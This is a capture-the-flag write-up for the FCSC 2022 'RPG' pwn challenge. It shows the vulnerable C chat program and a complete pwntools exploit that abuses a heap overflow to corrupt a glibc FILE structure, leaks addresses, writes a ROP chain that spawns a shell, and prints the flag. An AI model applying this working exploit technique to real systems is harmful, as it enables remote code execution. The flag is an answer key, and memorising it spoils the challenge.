Pour un rendu optimal, activez JavaScript

[FCSC 2022] Pwn - RPG (⭐⭐)

 ·  ☕ 10 min de lecture  ·  ✍️ ValekoZ

Description

Jean-Michel est un grand fan de jeu de rôle. Malheureusement, il n’a jamais eu l’occasion de rejouer avec ses amis depuis la crise du Covid-19.

Ils ont travaillé sur une application de chat qui permet aux joueurs de tirer toute sorte de dés, sur la base d’un CSPRNG.

Voici la première version de leur application. Trouvez une vulnérabilité pour lire le fichier flag.txt.

nc challenges.france-cybersecurity-challenge.fr 2056

Translation:

Jean-Michel is a great role-playing game player. Unfortunately, he has never had the opportunity to play with his friends since the Covid-19 crisis.

They have worked on an application that allows players to throw dice, based on a CSPRNG.

Here is the first version of their application. Find a vulnerability to read the file flag.txt.

nc challenges.france-cybersecurity-challenge.fr 2056

The source code

There is a single file, rpg.c, which contains the following code:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
/* SPDX-License-Identifier: GPL-2.0-or-later
 *
 * This program is free software: you can redistribute it and/or modify it under
 * the terms of the GNU General Public License as published by the Free Software
 * Foundation, either version 2 of the License, or (at your option) any later
 * version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
 * details.
 *
 * You should have received a copy of the GNU General Public License along with
 * this program. If not, see <https://www.gnu.org/licenses/>.
 */

#define _POSIX_C_SOURCE 200809
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <time.h>

int message(const char *fmt, ...)
{
	FILE *fp = stdout;
	char ts[sizeof("[YYYY-MM-DD HH:MM:SS] ")];

	time_t t = time(NULL);
	const struct tm *tm = localtime(&t);

	/* Write the date */
	strftime(ts, sizeof(ts), "[%F %H:%M:%S] ", tm);
	fwrite(ts, sizeof(ts), 1, fp);

	/* Write the message */
	va_list ap;
	va_start(ap, fmt);
	int ret = vfprintf(fp, fmt, ap);
	va_end(ap);

	fputc('\n', fp);

	return ret;
}

int main(void)
{
	char *name  = NULL;
	size_t size = 0;

	/* Disable buffering on stdio */
	setbuf(stdin,  NULL);
	setbuf(stdout, NULL);

	/* Ask for a name */
	printf("name> ");
	if(0 > getline(&name, &size, stdin)) {
		perror("getline");
		return EXIT_FAILURE;
	}
	name[strcspn(name, "\n")] = 0;

	/* Open the RNG source */
	FILE *fp = fopen("/dev/urandom", "r");

	if(NULL == fp) {
		perror("fopen");
		return EXIT_FAILURE;
	}

	message("%s logged in", name);

	/* Read messages */
	while(1) {
		char *msg   = NULL;
		size_t size = 0;

		if(0 > getline(&msg, &size, stdin)) {
			perror("getline");
			return EXIT_FAILURE;
		}
		msg[strcspn(msg, "\n")] = 0;

		/* Handle commands */
		if('/' == msg[0] && '/' != msg[1]) {
			const char *cmd = strtok(msg + 1, " ");
			const char *arg = strtok(NULL, "");

			if(0 == strcmp(cmd, "quit")) {
				if(arg)
					message("%s quit (%s)", name, arg);
				else
					message("%s quit", name);
				break;
			} else if(0 == strcmp(cmd, "me")) {
				message("*** %s %s ***", name, arg);
			} else if(0 == strcmp(cmd, "nick")) {
				message("%s is now known as %s", name, arg);

				if(strlen(arg) >= size)
					name = realloc(name, size + 1);

				strcpy(name, arg);
			} else if(0 == strcmp(cmd, "roll")) {
				/* You can play with *very large* dices */
				size_t mod = atol(arg);
				size_t r = 0;

				if(0 == mod) {
					message("Cannot roll 0-faced dices");
					continue;
				}

				if(sizeof(r) != fread(&r, 1, sizeof(r), fp)) {
					perror("fread");
					continue;
				}

				r %= mod;

				message("%s rolled 1d%lu: %lu", name, mod, r);
			} else {
				message("invalid command: %s", cmd);
			}
		} else {
			/* regular message */
			const char *m = msg;
			if('/' == m[0])
				m++;

			message("%s: %s", name, m);
		}

		free(msg);
	}
}

It is an application with a menu, which allows the user to choose a username and do some other commands … looks really like a heap based overflow challenge 👀

Analysis

Based on my intuition, I searched for a heap overflow vulnerability in the application. The only code that doesn’t looks safe is the strcpy function, which is used to copy the username into a buffer.

1
2
3
4
5
6
7
8
else if(0 == strcmp(cmd, "nick")) {
    message("%s is now known as %s", name, arg);

    if(strlen(arg) >= size)
        name = realloc(name, size + 1);

    strcpy(name, arg);
}

Before the call to strcpy, we can see that a check is performed to ensure that we do not overflow the buffer, but this check is not performed correctly: the size variable contains the size of the user input, which is not the size of the destination buffer.

Moreover, even if size was the size of the destination buffer, realloc(name, size+1) seems stupid, the correct code would be realloc(name, strlen(arg)+1).

So we can trigger an overflow by providing a long username.

What can we overflow ?

The first idea that came to my mind was to craft a heap chunk, which would allow me to choose where malloc would allocate the chunk. This would be useful for an arbitrary write, since we could choose where the buffer returned by getline would be written. But I don’t see any ways to use this for an arbitrary read 🙁.

But, for those who already read some of my write ups, you know how much I love to think about the reasons of why something is implemented in a challenge. So here is the question:

Why is there a command to trigger a file read ? Is it just for the lore ? Or is it really useful ?

So I looked closer, and I found that the FILE structure was allocated just after the username buffer, so we can overflow on it 😏.

Moreover, if we look at the FILE structure, we can see that its second member is a pointer to where it stores the data readed from the file. So if we overflow the beginning of the struct, and trigger a write, we can leak this address (and therefore bypass the ASLR).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

context.binary = elf = ELF('./rpg')
libc = ELF('./libc-2.33.so')

offset = 128


p = remote('challenges.france-cybersecurity-challenge.fr', 2056)
p.sendlineafter(b'name> ', b'A')
p.recvline()


def cmd(c):
    # info('cmd: {}'.format(c))
    p.sendline(c)
    return p.recvline()


cmd(b'/nick ' + b'A' * (offset + 8))
ret = cmd(b'/roll 10')
leak = unpack(ret.split()[2][offset+9:].ljust(8, b'\x00'))
info('leak: ' + hex(leak))

buf_addr = leak & 0xfffffffffffffff0
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2056: Done
[*] leak: 0x5876bac23888

Our buffer (which stores the username) is not really at leak & 0xfffffffffffffff0, but we will bruteforce its position later.

Arbitrary write

Now, we can modify the FILE structure in order to write what we want, where we want.

There is a simple technique for this:

  • Use the correct flags (I will just copy those used by the initial FILE structure)
  • Change the _IO_buf_base member to the address of the buffer we want to write to
  • Change the _IO_buf_end member to the address of the end of the buffer we want to write to
  • Change the file descriptor to 0, so that the read function will read from stdin and write where we want

Note: We don’t have to write every bytes of the new FILE structure, we can just write the beginning, which contains all the data we need to change.

Since the fread function will return the data we wrote, we can check if everything went well by returning the value of the fread function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

def write(addr, data):
    f = FileStructure()
    f.flags = 0xfbad2488
    f._IO_buf_base = addr
    f._IO_buf_end = addr + offset
    f._IO_read_base = 0
    f._IO_read_ptr = 0
    f._IO_read_end = 0
    f.fileno = 0

    payload = bytes(f)[:15*8]

    for i in range(len(payload)):
        cmd(b'/nick ' + b'A' * (offset +
            len(payload) - 1 - i) + payload[-i-1:])
    cmd(b'/nick ' + b'A' * offset + payload)

    p.recv(timeout=.1)
    p.sendline(b'/roll ' + str(0xffffffffffffffff).encode())
    p.sendline(pack(data))

    ret = p.recvline()
    ret = ret.split()[-1]
    ret = int(ret.decode())

    p.recv(timeout=.1)

    return ret

Arbitrary read

The arbitrary read is almost the same code. But we will take advantage of the fact that the FILE structure is using buffering:

When we read from a file, the data is stored in a buffer. If we want to read 8 bytes, but fread reads 10 bytes from the file, it will store those 10 bytes in a buffer, and next time we want to read data, it will use the buffer to return the 2 bytes he already read (and then he read from the file in order to return as much data as the program asked).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def read(addr):
    f = FileStructure(null=leak+0x10000)
    f.flags = 0xfbad2488
    f._IO_buf_base = buf_addr
    f._IO_buf_end = buf_addr + offset
    f._IO_read_base = addr
    f._IO_read_ptr = addr
    f._IO_read_end = addr + offset
    f.fileno = 0

    payload = bytes(f)[:15*8]

    for i in range(len(payload)):
        cmd(b'/nick ' + b'A' * (offset +
            len(payload) - 1 - i) + payload[-i-1:])
    cmd(b'/nick ' + b'A' * offset + payload)

    p.recv(timeout=.1)
    p.sendline(b'/roll ' + str(0xffffffffffffffff).encode())

    ret = p.recvline()
    ret = ret.split()[-1]
    ret = int(ret.decode())

    p.recv(timeout=.1)

    return ret

The actual exploit

Using those 2 primitives, we can get our shell:

  1. We find our buffer on the heap
  2. We leak an address from libc
  3. We leak the address of the stack (using __environ)
  4. We write a ROP chain / a one gadget on the stack

Finding our buffer

To find our buffer, I used a loop that would leak data at the given address, and compare it to the flags of the FILE structure. If they match, the buffer is just a bit before this address.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
prog = log.progress('Buffer address')

buf_addr -= 0x500

while True:
    prog.status('0x%x' % buf_addr)
    l = read(buf_addr)
    if l == 0xfbad2488:
        break
    else:
        buf_addr -= 0x10

buf_addr -= offset

prog.success('0x%x' % buf_addr)

[+] Buffer address: 0x5876bac232a0

Find the address of libc

By using gdb on the program, I found that the address of _IO_file_jumps is a member of the FILE structure:

gef➤  x/40a 0x0000555555559320
0x555555559320: 0xfbad2488      0x0
0x555555559330: 0x0     0x0
0x555555559340: 0x0     0x0
0x555555559350: 0x0     0x0
0x555555559360: 0x0     0x0
0x555555559370: 0x0     0x0
0x555555559380: 0x0     0x7ffff7f7d4c0 <_IO_2_1_stderr_>
0x555555559390: 0x3     0x0
0x5555555593a0: 0x0     0x555555559400
0x5555555593b0: 0xffffffffffffffff      0x0
0x5555555593c0: 0x555555559410  0x0
0x5555555593d0: 0x0     0x0
0x5555555593e0: 0x0     0x0
0x5555555593f0: 0x0     0x7ffff7f7e3a0 <__GI__IO_file_jumps>
0x555555559400: 0x0     0x0
0x555555559410: 0x0     0x0
0x555555559420: 0x0     0x0
0x555555559430: 0x0     0x0
0x555555559440: 0x0     0x0
0x555555559450: 0x0     0x0

Since we know the address of this structure, we can use our read primitive to leak it.

1
2
3
4
5
IO_file_jumps = read(buf_addr + offset + 0xd8)

libc.address = IO_file_jumps - libc.symbols['_IO_file_jumps']

success('libc.address: ' + hex(libc.address))
[+] libc.address: 0x79a490ce2000

Leaking the stack address

This part is easy, we just use the __environ symbol to leak it.

1
2
3
env = read(libc.symbols['_environ'])

success('env: ' + hex(env))
[+] env: 0x7fffa5a51518

Write our ROP chain

Now, we know where our stack is, we can just build a simple ROP chain and write it on the stack. We then just quit the main loop in order get our shell.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
rop = ROP(libc)
rop.execve(next(libc.search(b'/bin/sh')), 0, 0)

rop_chain = rop.chain()

for i in range(0, len(rop_chain), 8):
    print(hex(write(env-0x100+i, unpack(rop_chain[i:i+8]))))

p.sendline(b'/quit')
p.recv(timeout=1)
p.sendline(b'cat flag.txt')

flag = p.recvline()

success("Flag: {}".format(flag.decode()))
0x79a490da9f32
0x0
0x79a490d0c4cf
0x0
0x79a490d0aa55
0x79a490e8df05
0x79a490dbfdb0
[+] Flag: FCSC{7b6c4e7464a2f4ccfd219b9456de3820aad908dca721c71362b636f10f621424}

Conclusion

As always with FCSC, the challenges are just incredible.

I learned how we could use a FILE structure to get a read and a write primitive, which can be really powerful in some cases.

Partagez

Hackin'TN
RÉDIGÉ PAR
ValekoZ
Former president of HackIn'TN